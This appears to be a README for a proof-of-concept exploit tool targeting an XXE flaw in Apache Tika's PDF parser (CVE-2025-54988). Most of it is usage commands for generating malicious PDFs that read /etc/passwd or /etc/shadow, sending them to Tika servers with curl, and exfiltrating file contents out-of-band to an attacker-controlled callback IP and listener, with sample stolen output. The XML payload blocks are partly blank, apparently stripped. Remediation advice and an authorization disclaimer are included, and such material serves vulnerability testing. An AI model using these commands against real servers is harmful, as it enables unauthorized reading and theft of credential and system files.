Share
## https://sploitus.com/exploit?id=C4919C62-A7EA-5F2C-AEE4-74EFF0C6E734
# Apache Tika XXE Vulnerability Tester (CVE-2025-54988)

A comprehensive testing tool for CVE-2025-54988, an XML External Entity (XXE) injection vulnerability in Apache Tika's PDF parser affecting XFA form handling.

## Vulnerability Overview

| Field | Details |
|-------|---------|
| **CVE** | CVE-2025-54988 |
| **Type** | XML External Entity (XXE) Injection |
| **Component** | Apache Tika PDF Parser (XFA handling) |
| **Affected Versions** | 1.13 through 3.2.1 |
| **Partially Fixed** | 3.2.2 (incomplete when Woodstox is present) |
| **Fully Fixed** | 3.2.3+ |
| **Severity** | Critical |

## Why 3.2.2 May Still Be Vulnerable

The fix in version 3.2.2 relied on setting XML parser properties to disable external entity resolution. However, when **Woodstox XML parser is on the classpath** (which is the default in tika-server), the vulnerability may still be exploitable because:

1. Woodstox silently ignores certain property settings
2. The return type of entity resolvers matters - Woodstox ignores incorrect types
3. Version 3.2.2 did not include the `IGNORING_STAX_ENTITY_RESOLVER` defense-in-depth mechanism

Version 3.2.3 added the proper fix:
```java
// Returns null InputStream - the CORRECT return type that Woodstox respects
private static final XMLResolver IGNORING_STAX_ENTITY_RESOLVER =
    (publicID, systemID, baseURI, namespace) ->
        UnsynchronizedByteArrayInputStream.nullInputStream();
```

## Installation

```bash
# Clone or download this repository
git clone 
cd Tika-PoC

# Optional: Install requests for tika-server testing
pip install requests
```

## Files Included

| File | Description |
|------|-------------|
| `tika_xxe_test.py` | Main PoC testing tool |
| `test_passwd.pdf` | Pre-generated payload for `/etc/passwd` |
| `test_winini.pdf` | Pre-generated payload for `C:/Windows/win.ini` |
| `CVE-2025-54988_TESTING.md` | Detailed testing guide |
| `IGNORING_STAX_ENTITY_RESOLVER_notes.txt` | Technical analysis of the fix |
| `tika-3.2.2-to-3.2.3.diff` | Full diff between versions |

## Usage

### Command: `generate`

Generate malicious PDF files for testing.

```bash
# Direct file read payload (for manual testing)
python tika_xxe_test.py generate --mode file --file /etc/passwd -o test.pdf

# Windows target
python tika_xxe_test.py generate --mode file --file "C:/Windows/win.ini" -o win_test.pdf

# Out-of-band exfiltration with listener
python tika_xxe_test.py generate --mode oob --port 8888 --file /etc/shadow -o oob.pdf --listen

# Canary callback (confirms vulnerability without file read)
python tika_xxe_test.py generate --mode canary --port 8888 -o canary.pdf --listen
```

#### Generate Options

| Option | Description | Default |
|--------|-------------|---------|
| `--mode` | Payload type: `file`, `oob`, or `canary` | `file` |
| `--file` | Target file to read | `/etc/passwd` |
| `--ip` | Callback IP for OOB/canary | Auto-detect |
| `--port` | Callback port | `8888` |
| `-o, --output` | Output PDF filename | `xxe_test.pdf` |
| `--listen` | Start listener after generating | Off |
| `--timeout` | Listener timeout (seconds) | `60` |

### Command: `test`

Directly test a Tika server for vulnerability.

```bash
# Canary test (confirms XXE without reading files)
python tika_xxe_test.py test --target http://vulnerable-host:9998 --port 8888

# Full OOB exfiltration test
python tika_xxe_test.py test --target http://vulnerable-host:9998 --port 8888 --file /etc/passwd

# Custom callback IP
python tika_xxe_test.py test --target http://10.10.10.50:9998 --ip 10.10.14.5 --port 4444 --file /etc/shadow
```

#### Test Options

| Option | Description | Default |
|--------|-------------|---------|
| `--target` | Tika server URL (required) | - |
| `--ip` | Callback IP | Auto-detect |
| `--port` | Callback port | `8888` |
| `--file` | File to exfiltrate (omit for canary) | None |
| `--timeout` | Test timeout (seconds) | `30` |

## Testing Scenarios

### Scenario 1: Testing tika-server (Recommended)

```bash
# Terminal 1: Start vulnerable tika-server
java -jar tika-server-3.2.2/tika-server-standard-3.2.2-bin/tika-server.jar

# Terminal 2: Run the test
python tika_xxe_test.py test --target http://localhost:9998 --port 8888 --file /etc/passwd
```

### Scenario 2: Manual Testing with tika-app

```bash
# Generate payload
python tika_xxe_test.py generate --mode file --file /etc/passwd -o test.pdf

# Test against vulnerable version
java -jar tika-app-3.2.1.jar -t test.pdf

# Test against patched version
java -jar tika-app-3.2.3.jar -t test.pdf
```

### Scenario 3: Manual Testing with curl

```bash
# Generate payload
python tika_xxe_test.py generate --mode file --file /etc/passwd -o test.pdf

# Send to tika-server
curl -X PUT -T test.pdf http://localhost:9998/tika -H "Accept: text/plain"
```

### Scenario 4: Blind/OOB Testing

When you can't see the response:

```bash
# Terminal 1: Generate and listen
python tika_xxe_test.py generate --mode oob --port 8888 --file /etc/passwd -o oob.pdf --listen

# Terminal 2: Submit PDF to target (or use other delivery method)
curl -X PUT -T oob.pdf http://target:9998/tika
```

## Expected Results

### Vulnerable System

**Direct file read:**
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

**OOB callback:**
```
[+] DTD requested from 10.10.10.50
[+] EXFILTRATED DATA from 10.10.10.50:
    root:x:0:0:root:/root:/bin/bash...
```

### Patched System (3.2.3+)

- No file contents in output
- No callback received
- Empty or minimal form field output

## Vulnerability Matrix

| Version | tika-app (No Woodstox) | tika-server (Woodstox) |
|---------|------------------------|------------------------|
| 3.2.1 | VULNERABLE | VULNERABLE |
| 3.2.2 | Likely Patched | MAY BE VULNERABLE |
| 3.2.3+ | PATCHED | PATCHED |

## Attack Flow

```
1. Attacker creates malicious PDF with XFA containing XXE payload
                    |
                    v
2. PDF is submitted to Tika (via tika-server API, tika-app, or embedded)
                    |
                    v
3. Tika PDF parser extracts XFA stream from PDF
                    |
                    v
4. XFA XML is parsed by StAX parser (Woodstox in tika-server)
                    |
                    v
5. XXE payload triggers external entity resolution
                    |
                    v
6. File contents exfiltrated (direct or OOB)
```

## Payload Modes Explained

### Mode: `file` (Direct Read)
```xml

]>
...
&xxe;
```
- Simple, requires seeing Tika output
- Works when you have access to response

### Mode: `oob` (Out-of-Band)
```xml

  %ext;
]>
...
&exfil;
```
With external DTD:
```xml

">
%make;
```
- Bypasses parameter entity restrictions
- Works blind (no response needed)
- Exfiltrates via HTTP request

### Mode: `canary` (Callback Only)
```xml

]>
...
&xxe;
```
- Just confirms vulnerability exists
- No file read (lower risk for testing)
- Good for initial validation

## Remediation

1. **Upgrade to Apache Tika 3.2.3 or later** (Recommended)
2. Remove Woodstox from classpath if not needed
3. Implement network egress filtering to block outbound connections from Tika
4. Use Tika in isolated/sandboxed environment

## References

- [NVD - CVE-2025-54988](https://nvd.nist.gov/vuln/detail/CVE-2025-54988)
- [TIKA-4482 - Fix XFA parsing with Woodstox](https://issues.apache.org/jira/browse/TIKA-4482)
- [TIKA-4469 - Commons-compress compatibility](https://issues.apache.org/jira/browse/TIKA-4469)
- [Original PoC by mgthuramoemyint](https://github.com/mgthuramoemyint/POC-CVE-2025-54988)

## Disclaimer

This tool is provided for authorized security testing and educational purposes only. 
Obtain proper written authorization before testing any systems you do not own.
Unauthorized access to computer systems is illegal.

## License

For authorized security research use only.